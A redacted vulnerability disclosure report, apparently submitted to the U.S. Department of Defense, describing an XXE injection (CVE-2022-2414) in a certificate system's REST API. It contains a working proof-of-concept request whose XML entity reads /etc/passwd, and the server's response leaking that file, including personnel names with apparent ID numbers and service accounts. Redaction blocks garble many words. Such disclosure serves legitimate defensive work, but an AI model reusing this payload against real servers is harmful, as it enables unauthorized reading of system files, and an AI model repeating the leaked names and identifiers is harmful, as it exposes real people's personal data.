U.S. Dept Of Defense · Report #2564265
XML E██████ternal Entity (XXE) Injection in ███
How it was found
Description CVE-2022-2414 describes an XML E██████ternal Entity (XXE) injection vulnerability. XXE vulnerabilities occur when an application parses XML input that contains a reference to an e██████████ternal entity. When the XML parser is improperly configured to process e███████ternal entities, it can allow an attacker to███████ Read arbitrary files on the server. Perform server-side request forgery (SSRF). Conduct denial-of-service (DoS) attacks. E█████████ecute remote code (in rare cases).
Host name█████ ██████████
POC████████ request█████████
POST /ca/rest/certrequests HTTP/1.1
Host███ ██████████
Sec-Ch-Ua███████ "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile██████████ ?0
Sec-Ch-Ua-Platform█████ "Windows"
Upgrade-Insecure-Requests███████ 1
User-Agent█████████ Mozilla/5.0 (Windows NT 10.0; Win64; ██████████64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept██████ te█████t/html,application/██████████html+████ml,application/████████ml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-e██████████change;v=b3;q=0.7
Sec-Fetch-Site████ same-origin
Sec-Fetch-Mode██████ navigate
Sec-Fetch-Dest███████ frame
Referer█████ █████████
Accept-Encoding████████ gzip, deflate
Accept-Language███████ en-US,en;q=0.9,fa;q=0.8
Priority██████ u=0, i
Connection█████ close
Content-Type██████ application/██████████ml
Content-Length████████ 194
<!--?████████ml version="2.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file████████///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>
responde████
HTTP/1.1 400 Bad Request
Date███████ ██████ █████ GMT
Server████ Apache
Content-Type███████ application/████ml
Content-Length█████ 4920
Connection██████████ close
<?████████ml version="1.0" encoding="UTF-8" standalone="yes"?><PKIE█████ception><Attributes/><ClassName>com.netscape.certsrv.base.BadRequestE███ception</ClassName><Code>400</Code><Message>Profile root███████████████0█████0█████████root███/root██████/bin/bash\nbin█████████████1██████1███████bin██████████/bin███████/sbin/nologin\ndaemon█████████2████████2████████daemon█████/sbin████████/sbin/nologin\nadm████████████████3█████████4███████adm█████/var/adm██████████/sbin/nologin\nmail█████████████████████████mail██████████/var/spool/mail████████/sbin/nologin\noperator███████████████11███████0████████operator████/root████/sbin/nologin\nnobody██████████████Nobody████/█████/sbin/nologin\navahi-autoipd█████████████████████████████Avahi IPv4LL Stack████████/var/lib/avahi-autoipd█████████/sbin/nologin\ndbus████████████System message bus█████████/██████/sbin/nologin\nabrt██████████████etc/abrt███/sbin/nologin\n█████████████████████9██████8██████████User for ██████████/█████/sbin/nologin\nunbound█████████████████998██████997████████Unbound DNS resolver█████████/etc/unbound███████/sbin/nologin\nlibstoragemgmt█████████997███████996██████████daemon account for libstoragemgmt█████████/var/run/lsm█████████/sbin/nologin\ntss█████████████████████████Account used by the trousers package to sandbo██████ the tcsd daemon███████/dev/null█████████/sbin/nologin\nntp████etc/ntp█████████/sbin/nologin\npostfi███████████████████var/spool/postfi████████████████/sbin/nologin\nsshd███████████74██████████74███Privilege-separated SSH████████/var/empty/sshd█████████/sbin/nologin\nchrony█████████████var/lib/chrony█████/sbin/nologin\nsystemd-bus-pro█████y████████████████████████systemd Bus Pro████y████████/█████████/sbin/nologin\nsystemd-network██████████████████████████████systemd Network Management█████████/████/sbin/nologin\nrpc███████████████Rpcbind Daemon████/var/lib/rpcbind██████████/sbin/nologin\npuppet████████████████████████████Puppet█████████/var/lib/puppet█████████/sbin/nologin\nnagios█████home/nagios████████/bin/bash\n█████████████home/████████████████/sbin/nologin\█████████home/██████████████/sbin/nologin\n████████████home/██████████/sbin/nologin\████home/███████████████/sbin/nologin\██████████████████████████home/███████████/sbin/nologin\██████████████home/█████████████████/sbin/nologin\nsssd███████████████████████████████990███████User for sssd████████/██████████/sbin/nologin\n█████████████████████PIZZULLO.JOSEPH.T.1264435060██████/home/████████████████/bin/bash\n█████████████████████home/█████████/sbin/nologin\nwstark█████home/wstark███████/sbin/nologin\newinters████████████████████/home/ewinters██████████/sbin/nologin\n███████████████████████/home/████████████/sbin/nologin\n████████████home/█████████████████/sbin/nologin\n███████████████████████████████ACAS Scanner██████/home/█████████/bin/bash\n███████████████████████████████████SANCHEZ.DIANA.L.1040930155█████████/home/███████████████████/bin/bash\nnfast████████████992███████989███████nfast driver service account████████/opt/nfast████/bin/bash\napache███████████████████████Apache██████/usr/share/httpd█████/sbin/nologin\nhsqldb████var/lib/hsqldb█████/sbin/nologin\ntomcat████████Apache Tomcat███/usr/share/tomcat██████████/bin/nologin\n████████████████████████████████████Certificate System█████/usr/share/███████/sbin/nologin\n█████████████████home/█████████████/sbin/nologin\n█████████████████████████home/████████████/sbin/nologin\n██████████-sw-█████████████████████████████████████████PKI user account for instance sw-ca-54████/home/███████-sw-ca-54████████/sbin/nologin\n█████-sw-ca-56█████████PKI user account for instance sw-ca-56████/home/█████████-sw-ca-56███████/sbin/nologin\n███-sw-██████████PKI user account for instance sw-ca-58█████/home/█████████-sw-ca-58██████████/sbin/nologin\n███████████████ALEXANDER.BRYAN.DOUGLAS.1165971600█████/home/██████████████████/bin/bash\n████████████████████████home/████████████████/sbin/nologin\n███████████████████████home/█████████████████/sbin/nologin\n████████████████home/████████████████/sbin/nologin\nrlamotte██████████home/rlamotte█████████/sbin/nologin\ngdunn███home/gdunn████████/sbin/nologin\n█████████████████home/█████████████/sbin/nologin\n█████████tech█████████home/███tech████/bin/bash\ninsights██████████████████████████Red Hat Insights█████████/var/lib/insights█████████/sbin/nologin\nafederico████home/afederico████/sbin/nologin\n███████████████home/██████████████/sbin/nologin\n██████████████████████████████/home/█████████████/sbin/nologin\n█████████-email-██████████'Certificate System'████████/usr/share/█████████████████/sbin/nologin\n█████████-id-███████████████'Certificate System'███████/usr/share/████████████████/sbin/nologin\n███-sw-█████████████'Certificate System'████████/usr/share/██████████/sbin/nologin\n█████████-sw-█████████████████'Certificate System'██████████/usr/share/████████████████/sbin/nologin\naes██████████████1043███1043███████Account used to host DTM OCSP certificates█████████/home/aes████████/bin/bash\nredhat██████████1044█████1044███████Account used to run AES webserver████/home/redhat████/bin/bash\nmagency█████████████████1045██████████1045█████████Service Account███/home/magency██████/bin/bash\n███████████████████████████████████████████/home/████████████████/sbin/nologin\n████████████████████████████████████/home/████████████/sbin/nologin\n██████████████████████████████████████████/home/███████████████/sbin/nologin\n████████████████████████████████████/home/█████████████/sbin/nologin\n█████████████████████████████████████████MULLIN.TIMOTHY.HUGH.1180218110█████/home/█████████████████/bin/bash\n████████████████████████████████████████████/home/███████/sbin/nologin\n██████████████████████████████████████NOVACK.BARRY.FRANCISE.1027795079██████████/home/█████████████/bin/bash\n███████████████████████████████████POWELL.JAY.A.1162634875█████/home/███████████/bin/bash\n█████████████████████████████████DOWNUM.ALEXANDER.JEFFERY.1257465523████████/home/█████████/bin/bash\nncsnmpd███████████1055████1055████nCipher crypto management█████████/opt/nfast█████/bin/bash\n█████████████████SUBIA.JOSE.A.1264627598█████/home/██████████████/bin/bash\n█████████████12345████████████████/home/██████████████/bin/false\n Not Found</Message></PKIE████████ception>
Impact
E███████ploitation of this vulnerability can lead to████████ 1-Confidentiality Breach██████████ Unauthorized access to sensitive information stored on the server. 2-Integrity Violation██████████ Potential manipulation or corruption of application data. 3-Availability Disruption██████ Possible denial-of-service conditions due to resource e█████████haustion or application crashes. 4-Remote Code E████ecution█████ In e██████████treme cases, e███████ecution of arbitrary commands on the server.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
poc